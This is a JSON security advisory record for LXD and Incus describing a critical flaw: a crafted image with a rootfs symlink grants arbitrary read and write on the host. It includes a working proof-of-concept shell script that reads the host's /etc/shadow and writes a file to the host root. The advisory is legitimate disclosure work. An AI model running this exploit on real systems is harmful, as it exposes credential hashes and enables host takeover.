{"id":"GHSA-vghh-5rfx-xhq8","summary":"LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image","details":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv\n\n### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and\na `rootfs/` entry, but full extraction can later process a duplicate top-level\n`rootfs` symlink. Later, the stopped-container file API opens\n`d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to\nit.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem\nwith root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be\nmapped anywhere. We then retrieve the host's `/etc/shadow` file and\ncreate a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink;\npossibly leading to command execution.","modified":"2026-11-06T19:45:05.054632554Z","published":"2026-11-06T19:36:07Z","related":["CVE-2026-48749"],"database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-73"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-11-06T19:36:07Z"},"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48749"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/3dbf4cea14124abda420dd5048d7e657cd30c1b7"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/51dc11ed5258fbb54dd8993b802af02d6d7b0235"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/62bcee5471c2581fce10a648f6b27410ce081b87"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/b499ec4b91dcc90f43aea444b1e19a58109772c2"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/e2aeca6b78677751bab36a7e4efaad0c840ed9fd"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/edb6d994f77333c9c33f4d9a137c754d142f3818"},{"type":"PACKAGE","url":"https://github.com/canonical/lxd"}],"affected":[{"package":{"name":"github.com/canonical/lxd","ecosystem":"Go","purl":"pkg:golang/github.com/canonical/lxd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260630083100-c5184be310b1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-vghh-5rfx-xhq8/GHSA-vghh-5rfx-xhq8.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}